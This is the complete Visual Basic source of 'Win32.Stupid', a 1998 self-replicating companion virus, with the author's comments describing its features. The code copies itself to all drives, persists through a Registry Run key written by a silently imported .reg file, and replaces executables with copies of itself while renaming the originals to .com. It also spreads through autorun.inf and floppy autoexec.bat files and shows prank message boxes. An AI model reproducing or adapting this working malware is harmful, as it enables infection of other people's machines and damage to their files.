'------------------------------'------------------------------'------------------------------ 
' Win32.Stupid [出自:jiwo.org]
' by VicodinES 
' First virus ever written in VB5 
' First VB virus ever (I think) 
' 
'------------------------------'------------------------------'------------------------------ 
' 
' Companion Virus - EXE infection 
' 
' What does it do? 
' 
' Copies itself to all available resources on initial execution 
' (removable drives and floppy included) 
' Registers itself as a "RUN" service in the registry 
' (activated during each reboot) 
' Has a small message box payload. 
' Makes infected floppys "bootable infectors" 
' Makes infected zip drives "carriers" 
' Slow infector 
' (only does one EXE per reboot othewise it might be too obvious) 
' Works on Win95/98/NT 
' 
' Drawbacks: 
' 
' It's a companion virus 
' DLL dependent in 95/NT (Win98 ships with the dll) 
' it's too big 
' 
'------------------------------'------------------------------'------------------------------ 
' 
' I tried to comment the best I could - I am a SLOPPY PROGRAMMER so if you don't 
' understand something or start to go nuts because I don't indent then just ask 
' me for an explanatioin - Vic 
' 
'------------------------------'------------------------------'------------------------------ 
' 
' (c) The Narkotic Network, July 1998 
' 
'------------------------------'------------------------------'------------------------------ 

' **THIS IS THE 2nd VERSION - A FEW BUG FIXES A FEW CHANGES** 

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 
Private Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long 
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long 
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long 
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 
Private FD(1 To 10) As String 
Private xc, x As Integer 
Private Smilecopy, Dat0copy, smile, dat0, weare, wearecom, supspn, sup As String 
Private companion, nodat0 As Boolean 
Private s As Long 
Private Sub Form_Load() 
On Error Resume Next 
Const REG_DWORD As Long = 4 
Const REG_SZ As Long = 1 
Const HKEY_CURRENT_USER As Long = &H80000001 
Const HKEY_LOCAL_MACHINE As Long = &H80000002 
Call PassCheck 
Dim s As Long 
s = 256 
v$ = String$(s, 0) 
weare = App.EXEName 
wearecom = weare & ".com" 
smile = weare & ".exe" 
dat0 = "dat0.exe" 
dat0home = "c:\" & dat0 
HoldMeDear = Dir(wearecom) 
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, KEY_ALL_ACCESS, k) 
u = RegQueryValueExA(k, "Startup", 0, REG_SZ, ByVal v$, s) 
u = RegCloseKey(k) 
For e = 1 To Len(v$) 
If Mid$(v$, e, 1) = Chr$(0) Then GoTo done 
sup = sup + Mid$(v$, e, 1) 
Next e 
done: 
supspn = spn(sup) 
If (UCase(HoldMeDear)) = (UCase(wearecom)) Then companion = True 
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, k) 
u = RegQueryValueExA(k, "Vic", 0, REG_SZ, ByVal v$, s) 
u = RegCloseKey(k) 
If Mid$(v$, 5, 1) <> "d" Then 
Call makereg 
Else 
wein = True 
End If 
SetAttr dat0home, vbArchive 
If Dir(dat0home) <> dat0 Then nodat0 = True 
SetAttr dat0home, vbHidden + vbReadOnly + vbSystem 
If (nodat0 = False) And UCase(weare) = "DAT0" Then Call WeVirus 
If nodat0 = False And companion = True Then Call ExecuteFile 
Call Find_Drives 
For x = 1 To xc 
Smilecopy = FD(x) & "Smile.exe" 
Dat0copy = FD(x) & dat0 
typeofdrive = GetDriveType(CStr(FD(x))) 
If typeofdrive = 4 Or typeofdrive = 3 Or typeofdrive = 2 Or typeofdrive = 1 Then 
If typeofdrive = 2 And UCase(FD(x)) <> "A:\" Then Call ARD 
If UCase(FD(x)) = "A:\" Then 
Call ADrive 
GoTo adone: 
End If 
If Dir(Smilecopy) <> "Smile.exe" Or nodat0 = True Then 
If (UCase(FD(x)) = "C:\") And (wein = False Or nodat0 = True) Then 
FileCopy smile, Dat0copy 
nodat0 = False 
FileCopy smile, Smilecopy 
SetAttr Dat0copy, vbHidden + vbReadOnly + vbSystem 
Else 
FileCopy smile, Smilecopy 
End If 
End If 
adone: 
End If 
Next x 
End 
End Sub 
Function Find_Drives() 
Dim strBuffer As String 
Dim lngBytes As Long 
Dim intPos As Integer 
Dim intPos2 As Integer 
Dim strDrive As String 
strBuffer = Space(255) 
lngBytes = GetLogicalDriveStrings(Len(strBuffer), strBuffer) 
intPos2 = 1 
intPos = InStr(intPos2, strBuffer, vbNullChar) 
Do Until intPos = 0 Or intPos > lngBytes 
xc = xc + 1 
strDrive = Mid(strBuffer, intPos2, intPos - intPos2) 
FD(xc) = strDrive 
intPos2 = intPos + 1 
intPos = InStr(intPos2, strBuffer, Chr(0)) 
Loop 
End Function 
Function makereg() 
On Error Resume Next 
Open "c:\v.reg" For Output As 1 
Print #1, "REGEDIT4" 
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" 
Print #1, """Vic""=""\""c:\\dat0.exe\""""" 
Close 1 
Shell "regedit /s c:\v.reg" 
Kill "c:\v.reg" 
End Function 
Function ADrive() 
On Error GoTo out 
If Dir(Smilecopy) <> "Smile.exe" Then 
FileCopy smile, Smilecopy 
Open "a:\autoexec.bat" For Output As 1 
Print #1, "@echo off" 
Print #1, "copy smile.exe " & supspn & "\smile.exe" 
Print #1, "cls" 
Print #1, "del autoexec.bat" 
Close 1 
Open "c:\s.bat" For Output As 1 
Print #1, "path=c:\windows\command" 
Print #1, "c:" 
Print #1, "sys a:" 
Close 1 
Shell "c:\s.bat", vbHide 
End If 
out: 
End Function 
Function ExecuteFile() 
On Error Resume Next 
Shell (wearecom), vbNormalNoFocus 
End 
End Function 
Function WeVirus() 
On Error Resume Next 
Dim pathz(1 To 20), infect(1 To 100) As String 
Dim dispick As String 
Dim EXEFile As Integer 
If Dir("c:\p.d") <> "p.d" Then 
Open "pth.bat" For Output As 1 
Print #1, "path > c:\p.d" 
Close 1 
Shell "pth.bat", vbHide 
For x = 1 To 1000000 
Next x 
End If 
ctr = 1 
Open "c:\p.d" For Input Access Read Shared As 1 
Do Until EOF(1) 
snap = Input(1, 1) 
If UCase(snapit) = "PATH=" Then snapit = "" 
If snap <> ";" Then snapit = snapit + snap 
If snap = ";" Then 
pathz(ctr) = snapit 
snapit = "" 
ctr = ctr + 1 
End If 
Loop 
Close 1 
Randomize 
dispick = pathz(Int(Rnd * (ctr - 1)) + 1) 
pathtoinfect = spn(dispick) 
InfectEXEName = Dir(pathtoinfect & "\*.exe", vbDirectory) 
Do While InfectEXEName <> "" 
EXEFile = EXEFile + 1 
infect(EXEFile) = InfectEXEName 
InfectEXEName = Dir 
Loop 
pickedexe = infect((Int(Rnd * (EXEFile - 1))) + 1) 
rawEXEName = Mid(pickedexe, 1, Len(pickedexe) - 4) 
If Dir(dispick & "\" & rawEXEName & ".com") <> rawEXEName & ".com" Then 
FileCopy pathtoinfect & "\" & pickedexe, pathtoinfect & "\" & rawEXEName & ".com" 
FileCopy smile, pathtoinfect & "\" & pickedexe 
Else 
End If 
End Function 
Function spn(sp As String) As String 
Dim sb As String 
Dim lb As Long 
sb = Space(200) 
lb = GetShortPathName(sp, sb, Len(sb)) 
If lb > 0 Then spn = Left(sb, lb) 
End Function 
Function PassCheck() 
If Minute(Now) = 30 And Second(Now) >= 16 Then 
If Day(Now) > 15 Then 
MsgBox "DAMN!!" + vbCr + "This is..." + vbCr + "*S T U P I D*", vbExclamation, "Win32.Stupid" 
Else 
well = MsgBox("Cameron Diaz is a goddess!", vbExclamation + vbYesNo, "Vic says...") 
If well = vbYes Then 
End 
Else 
MsgBox "JERK!", vbApplicationModal + vbCritical, "Win32.Stupid" 
End If 
End If 
End If 
End Function 
Function ARD() 
If Dir("Autorun.inf") <> "Autorun.inf" Then 
Open FD(x) & "Autorun.inf" For Output As 1 
Print #1, "[autorun]" 
Print #1, "OPEN=SMILE.EXE" 
Close 1 
End If 
End Function